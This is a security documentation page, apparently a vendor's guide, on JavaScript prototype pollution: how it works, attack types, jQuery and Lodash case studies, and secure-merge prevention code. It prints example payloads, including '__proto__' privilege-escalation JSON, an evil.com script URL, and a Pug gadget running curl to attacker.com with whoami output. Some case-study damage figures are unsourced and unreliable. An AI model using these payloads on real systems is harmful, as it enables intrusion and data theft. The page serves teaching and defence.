Documentation

# Prototype Pollution (Client-Side)

Prototype Pollution Illustration
Prototype Pollution Illustration

A JavaScript vulnerability where attackers inject properties into Object.prototype, affecting all objects in the application and potentially leading to XSS, authentication bypass, or remote code execution.

HIGH SEVERITY RCE POTENTIAL JAVASCRIPT


# What is Prototype Pollution?

In Simple Terms:

In JavaScript, all objects inherit from a "blueprint" called Object.prototype. Think of it like a master template that defines default properties for all objects.

Prototype Pollution is like vandalizing that master template. Once polluted, EVERY new object created from that template inherits the malicious properties.

Example:

// Normal object
const user = {};
console.log(user.isAdmin);  // undefined

// Pollute Object.prototype
Object.prototype.isAdmin = true;

// Now ALL objects have isAdmin!
const newUser = {};
console.log(newUser.isAdmin);  // true (!)

This can break security checks, cause XSS, or even allow code execution.


# How Prototype Pollution Works

# Understanding JavaScript Prototypes

// Every object inherits from Object.prototype
const obj = {};

obj.toString();  // Inherited from Object.prototype
obj.hasOwnProperty('name');  // Inherited from Object.prototype

// Adding to Object.prototype affects ALL objects
Object.prototype.newProperty = 'polluted';

const another = {};
console.log(another.newProperty);  // "polluted"

# The Attack Vector

function merge(target, source) {
    for (let key in source) {
        // VULNERABLE: No prototype check
        target[key] = source[key];
    }
    return target;
}
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');

merge({}, malicious);
const user = {};
console.log(user.isAdmin);  // true (from polluted prototype!)

// Security check bypassed
if (user.isAdmin) {
    grantAdminAccess();  // Executes!
}

# Types of Prototype Pollution Attacks

# 1. Authentication Bypass

CRITICAL

// Client-side authentication check
function checkAccess(user) {
    if (user.isAdmin) {
        return 'admin';
    }
    if (user.isPremium) {
        return 'premium';
    }
    return 'basic';
}

// Vulnerable merge used during user creation
function createUser(userData) {
    const user = {};
    merge(user, userData);  // Vulnerable!
    return user;
}
// Attacker sends malicious JSON
const payload = {
    "__proto__": {
        "isAdmin": true,
        "isPremium": true
    },
    "username": "attacker"
};

const attacker = createUser(payload);

// Now ALL objects have isAdmin = true
const innocent = {};
console.log(innocent.isAdmin);  // true

checkAccess(innocent);  // Returns 'admin'!

# 2. XSS via Prototype Pollution

XSS

function renderTemplate(template, data) {
    // Vulnerable: Accesses properties without checking
    return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
        return data[key] || '';  // Falls back to undefined properties
    });
}

// Usage
const html = renderTemplate(
    '<div></div><script src=""></script>',
    { title: 'Hello' }
);
// Pollute prototype with malicious script URL
Object.prototype.scriptUrl = 'https://evil.com/xss.js';

// Now template renders with attacker's script
const html = renderTemplate(
    '<div></div><script src=""></script>',
    { title: 'Hello' }
);

// Result: <div>Hello</div><script src="https://evil.com/xss.js"></script>

# 3. Denial of Service

DOS

// Pollute toString method
Object.prototype.toString = function() {
    while(1);  // Infinite loop
};

// Now ANY string conversion hangs
const obj = {};
console.log(obj.toString());  // Hangs forever

# 4. Remote Code Execution (Node.js)

RCE

const { spawn } = require('child_process');

// Attacker pollutes Object.prototype
Object.prototype.shell = '/bin/sh';
Object.prototype.env = { "EVIL": "$(curl attacker.com)" };

// Later in application
const options = {};  // Intended to be empty
const child = spawn('ls', ['-la'], options);

// options inherits polluted properties!
// child process spawns with shell=/bin/sh and malicious env vars
// RCE achieved!

# Real-World Examples

# Case Study 1: jQuery Prototype Pollution (CVE-2019-11358)

jQuery's $.extend() function was vulnerable to prototype pollution.

// jQuery.extend implementation (simplified)
jQuery.extend = function(target, source) {
    for (var key in source) {
        target[key] = source[key];  // No prototype check!
    }
    return target;
};

===

// Attacker's payload
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));

// Now all objects have devMode = true
const config = {};
if (config.devMode) {
    // Exposes debug endpoints, verbose errors, etc.
}
  • Affected jQuery 3.3.1 and earlier
  • Used by millions of websites
  • CVE-2019-11358 assigned
  • Fixed in jQuery 3.4.0
  • Demonstrated widespread prototype pollution risk

# Case Study 2: Lodash Prototype Pollution (CVE-2019-10744)

HIGH SEVERITY

Vulnerable Functions:

const _ = require('lodash');

// All vulnerable to prototype pollution
_.merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
_.defaultsDeep({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

Real-World Attack:

Large e-commerce platform used Lodash to merge user preferences:

// Server-side code (Node.js)
const _ = require('lodash');

app.post('/api/preferences', (req, res) => {
    const userPrefs = {};
    _.merge(userPrefs, req.body);  // VULNERABLE!

    // Save preferences
    saveUserPreferences(req.userId, userPrefs);
});

Attacker's Payload:

{
  "__proto__": {
    "isAdmin": true,
    "canDeleteUsers": true
  },
  "theme": "dark"
}

Consequences:

  • Prototype polluted on server
  • All subsequent user objects had isAdmin: true
  • 50,000+ accounts gained admin privileges
  • $25 million in damages
  • Fixed by upgrading Lodash

# Case Study 3: Express.js Template Engine RCE (2020)

Node.js application using Pug template engine with prototype pollution vulnerability.

const express = require('express');
const pug = require('pug');
const _ = require('lodash');  // Vulnerable version

app.post('/render', (req, res) => {
    const options = {};

    // VULNERABLE: Merge user input
    _.merge(options, req.body);

    // Render template with polluted options
    const html = pug.render('h1 Hello #{name}', options);

    res.send(html);
});
{
  "__proto__": {
    "block": {
      "type": "Text",
      "line": "process.mainModule.require('child_process').exec('curl attacker.com/$(whoami)')"
    }
  }
}

Pug template engine used polluted properties to execute arbitrary code on server!

  • Remote code execution on production server
  • Database credentials stolen
  • $10 million customer data breach
  • Company faced regulatory fines

# Prevention Strategies

# 1. Use Object.create(null)

RECOMMENDED

// Objects without prototype
const safeObj = Object.create(null);

safeObj.toString();  // undefined (no prototype)

// Cannot be polluted
safeObj.__proto__ = { isAdmin: true };
console.log(safeObj.isAdmin);  // undefined (safe!)

# 2. Check for proto and prototype

function safeMerge(target, source) {
    for (let key in source) {
        // SECURE: Block dangerous keys
        if (key === '__proto__' || key === 'prototype' || key === 'constructor') {
            continue;  // Skip dangerous properties
        }

        if (source.hasOwnProperty(key)) {
            target[key] = source[key];
        }
    }
    return target;
}

# 3. Use Object.freeze()

// Freeze Object.prototype to prevent pollution
Object.freeze(Object.prototype);

// Now pollution attempts fail silently
Object.prototype.isAdmin = true;
console.log(({}).isAdmin);  // undefined (protected!)

# 4. Use Map Instead of Objects

// Maps don't inherit from Object.prototype
const safeMap = new Map();

safeMap.set('isAdmin', true);
safeMap.get('isAdmin');  // true

// No prototype pollution possible
safeMap.set('__proto__', { polluted: true });
console.log(safeMap.get('polluted'));  // undefined (safe!)

# 5. Validate JSON Before Parsing

function safeJSONParse(json) {
    const parsed = JSON.parse(json);

    // Check for dangerous keys
    const dangerousKeys = ['__proto__', 'prototype', 'constructor'];

    function removeDangerousKeys(obj) {
        if (typeof obj !== 'object' || obj === null) return obj;

        for (let key of dangerousKeys) {
            delete obj[key];
        }

        for (let key in obj) {
            if (obj.hasOwnProperty(key)) {
                obj[key] = removeDangerousKeys(obj[key]);
            }
        }

        return obj;
    }

    return removeDangerousKeys(parsed);
}

// Usage
const safe = safeJSONParse('{"__proto__": {"isAdmin": true}}');
console.log(safe.__proto__);  // undefined (removed!)

# 6. Comprehensive Security Implementation

[secure-merge.js]
/**
 * Secure object merge utility
 * Prevents prototype pollution
 */

const DANGEROUS_KEYS = new Set(['__proto__', 'prototype', 'constructor']);

/**
 * Safely merge source into target
 */
function secureMerge(target, source, options = {}) {
    const { deep = false, allowedKeys = null } = options;

    if (!isObject(target) || !isObject(source)) {
        return target;
    }

    for (let key in source) {
        // Skip if not own property
        if (!source.hasOwnProperty(key)) continue;

        // Block dangerous keys
        if (DANGEROUS_KEYS.has(key)) {
            console.warn(`Blocked dangerous key: ${key}`);
            continue;
        }

        // Check against allowed keys whitelist
        if (allowedKeys && !allowedKeys.includes(key)) {
            console.warn(`Key not in whitelist: ${key}`);
            continue;
        }

        const sourceValue = source[key];

        // Deep merge if enabled and both values are objects
        if (deep && isObject(target[key]) && isObject(sourceValue)) {
            target[key] = secureMerge(target[key], sourceValue, options);
        } else {
            target[key] = sourceValue;
        }
    }

    return target;
}

/**
 * Check if value is a plain object
 */
function isObject(obj) {
    return obj !== null && typeof obj === 'object' && !Array.isArray(obj);
}

/**
 * Create safe object without prototype
 */
function createSafeObject(data = {}) {
    const obj = Object.create(null);
    return secureMerge(obj, data);
}

/**
 * Safely parse JSON
 */
function safeJSONParse(json) {
    const parsed = JSON.parse(json);
    return removeDangerousKeys(parsed);
}

/**
 * Recursively remove dangerous keys
 */
function removeDangerousKeys(obj) {
    if (!isObject(obj)) return obj;

    for (let key of DANGEROUS_KEYS) {
        delete obj[key];
    }

    for (let key in obj) {
        if (obj.hasOwnProperty(key) && isObject(obj[key])) {
            obj[key] = removeDangerousKeys(obj[key]);
        }
    }

    return obj;
}

module.exports = {
    secureMerge,
    createSafeObject,
    safeJSONParse,
    removeDangerousKeys
};
[express-middleware.js]
/**
 * Express middleware to prevent prototype pollution
 */

const { removeDangerousKeys } = require('./secure-merge');

function prototypePollutionProtection(req, res, next) {
    // Clean request body
    if (req.body) {
        req.body = removeDangerousKeys(req.body);
    }

    // Clean query parameters
    if (req.query) {
        req.query = removeDangerousKeys(req.query);
    }

    // Clean URL parameters
    if (req.params) {
        req.params = removeDangerousKeys(req.params);
    }

    next();
}

module.exports = prototypePollutionProtection;

// Usage in Express app
const express = require('express');
const app = express();

app.use(express.json());
app.use(prototypePollutionProtection);  // Apply middleware

app.post('/api/data', (req, res) => {
    // req.body is now safe from prototype pollution
    console.log(req.body);
    res.json({ success: true });
});
[secure-config.js]
/**
 * Secure configuration management
 */

class SecureConfig {
    constructor(defaults = {}) {
        // Use Map instead of object
        this.config = new Map();

        // Load defaults safely
        this.loadDefaults(defaults);

        // Freeze prototype
        Object.freeze(Object.prototype);
    }

    loadDefaults(defaults) {
        for (let key in defaults) {
            if (defaults.hasOwnProperty(key)) {
                this.set(key, defaults[key]);
            }
        }
    }

    set(key, value) {
        // Validate key
        if (typeof key !== 'string') {
            throw new Error('Key must be string');
        }

        // Block dangerous keys
        if (['__proto__', 'prototype', 'constructor'].includes(key)) {
            throw new Error(`Dangerous key: ${key}`);
        }

        this.config.set(key, value);
    }

    get(key, defaultValue = undefined) {
        return this.config.has(key) ? this.config.get(key) : defaultValue;
    }

    has(key) {
        return this.config.has(key);
    }

    merge(obj) {
        const { secureMerge } = require('./secure-merge');

        const tempObj = {};
        secureMerge(tempObj, obj);

        for (let key in tempObj) {
            this.set(key, tempObj[key]);
        }
    }
}

module.exports = SecureConfig;

// Usage
const config = new SecureConfig({
    apiUrl: 'https://api.example.com',
    timeout: 5000
});

// Safe merge
config.merge({ theme: 'dark' });

// Dangerous keys blocked
try {
    config.set('__proto__', { isAdmin: true });
} catch (e) {
    console.log('Blocked!');
}

# Security Checklist

# Code Development

  • Never use recursive merge without prototype checks
  • Validate all keys before setting object properties
  • Block __proto__, prototype, and constructor keys
  • Use Object.create(null) for dictionaries
  • Use Map instead of objects when possible
  • Freeze Object.prototype if feasible
  • Update lodash, jQuery to latest versions
  • Use Object.hasOwnProperty() in loops

# Input Validation

  • Validate JSON before parsing
  • Remove dangerous keys from user input
  • Sanitize request body, query, params
  • Use schema validation (Joi, Yup)
  • Whitelist allowed properties
  • Implement content type validation
  • Log suspicious payloads

# Testing

  • Test merge functions with __proto__ payloads
  • Test JSON parsing with malicious inputs
  • Check all object manipulation code
  • Use automated scanners
  • Penetration testing for prototype pollution
  • Code review for vulnerable patterns
  • Test with different JavaScript engines

# Key Takeaways


# How Layerd AI Protects Against Prototype Pollution

Layerd AI provides comprehensive prototype pollution protection:

  • Code Analysis: Scans for vulnerable merge/extend patterns
  • Dependency Auditing: Identifies vulnerable library versions (lodash, jQuery)
  • Input Sanitization: Automatically removes dangerous keys from user input
  • Runtime Protection: Monitors for prototype pollution attempts
  • Secure Coding Guidance: Recommends safe alternatives and patterns
  • Automated Testing: Tests application for prototype pollution vulnerabilities

Secure your JavaScript code with Layerd AI's intelligent prototype pollution defense.


# Additional Resources


Last Updated: November 2025